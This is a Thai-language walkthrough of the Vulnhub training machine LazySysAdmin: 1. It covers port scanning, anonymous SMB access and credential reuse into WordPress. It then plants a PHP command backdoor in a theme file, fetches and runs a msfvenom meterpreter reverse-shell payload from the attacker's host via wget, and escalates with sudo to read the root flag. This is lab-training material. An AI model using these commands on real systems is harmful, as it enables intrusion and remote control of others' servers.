วิธีการผ่าน LazySysAdmin: 1 – Vulnhub
กลับมาอีกครั้งหลังจากที่ไม่ได้เขียนมานานเกี่ยวกับการทำ lab hack อย่างในคราวนี้ก็คือ Virtual Machine จาก Vulnhub.com ในชื่อว่า LazySysAdmin: 1 สามารถ download ได้จาก link นี้ครับ
1. เริ่มต้นด้วยการหา IP เป้าหมายก่อน โดยใช้ nmap
1 |
nmap -sn 192.168.56.0/24 |
2. Scan port เครื่องเป้าหมาย 192.168.56.100
พบ port ดังนี้
- 22
- 80
- 139
- 445
- 3306
- 6667
3. หาข้อมูลจาก samba ด้วย enum4linux
4. ทดสอบเข้าไปยัง share folder ที่เปิดไว้
1 |
smbclient -I 192.168.56.100 "//WORKGROUP/share$" -U "" -N |
เมื่อเข้าไปพบว่าสามารถเข้าไปยังส่วนของ wordpress ได้ ก็เลยเอา wp-config.php ซึ่งเป็นไฟล์ config ของ wordpress กลับมา
พบ username และ password ที่ใช้ในการเชื่อมต่อ database
5. ซึ่งทดสอบเอาไป login ผ่าน SSH ไม่ได้
แต่ดัน Login เข้า WordPress ได้ เนื่องด้วย admin ใช้ username, password เดียวกันทั้ง website และ database นั่นเอง
ซึ่งในกรณีนี้จะทำอะไรก็ง่ายแล้ว เพราะ user ที่เราเข้ามานี่เป็น admin เลยครับ จะ upload shell หรือแก้ไข code ให้รัน php ก็สามารถทำได้หมดเลยครับ
ในกรณีนี้ผมใช้วิธีไปแก้ไขไฟล์ที่ชื่อว่า content-page.php ของ themes ที่ชื่อว่า twentyfifteen โดยเข้าไปที่ Apperance -> Editor แล้วเลือก file ที่จะ edit ได้เลยครับ
(หากจะ upload เป็น shell แบบ plugin ก็ลองใช้ตัวนี้ดูครับ)
6. ทดสอบใช้งาน backdoor ที่ทำไว้ โดยไปที่ http://192.168.56.100/wordpress/wp-content/themes/twentyfifteen/content-page.php?cmd=id
7. ทำการสร้าง backdoor elf ไฟล์และเชื่อมต่อ shell ด้วย metasploit
1 |
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=5555 -o backdoor.php |
1 |
http://192.168.56.100/wordpress/wp-content/themes/twentyfifteen/content-page.php?cmd=wget%20-O%20backdoor.php%20http://192.168.56.100:11111/backdoor.php;chmod%20777%20backdoor.php;ls%20-lath |
แต่กลายเป็นรันไม่ได้ซะงั้น อาจจะเพราะมี function อะไรที่ผิดหรือว่ามีอะไรกันอยู่ก็เป็นได้
หลังจากลองดูอีกครั้งหลังจากเคลียร์ไปแล้ว ปรากฏว่ามัน write file ใน path นั้นไม่ได้ ผมก็เลยลองใหม่โดยการ save file ไปไว้ที่ /tmp/ แล้วค่อยรันอีกท่ีแทน ปรากฏว่าได้ครับ
1 2 3 4 |
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=5555 -o backdoor.php http://192.168.56.100/wordpress/wp-content/themes/twentyfifteen/content-page.php?cmd=wget -O /tmp/backdoor.php http://192.168.56.101:11111/backdoor.php http://192.168.56.100/wordpress/wp-content/themes/twentyfifteen/content-page.php?cmd=php%20/tmp/backdoor.php |
เลยย้อนกลับมาใช้งาน content-page.php ซึ่งได้ลอง list ใน /home/ ดูพบว่ามี user ที่ชื่อว่า togie อยู่
8. ทดสอบ login SSH ด้วย user togie และ password เป็น TogieMYSQL12345^^ แต่ก็ยังไม่ได้ เลยย้อนกลับไปหาข้อมูลตรงส่วน smbclient อีกที
พบว่ามีไฟล์ deets.txt อยู่ พอดูข้างในพบว่ามีการเขียน password ทิ้งค้างไว้ *0*
9. ทดสอบรองเพิ่มสิทธิ์ของ user โดยใช้ sudo -s ปรากฏว่าได้ซะงั้น (Lazy Sysadmin จริงๆ)
10. Login เป็น root แล้วเข้าไปที่ /root/ ก็เจอ flag ครับ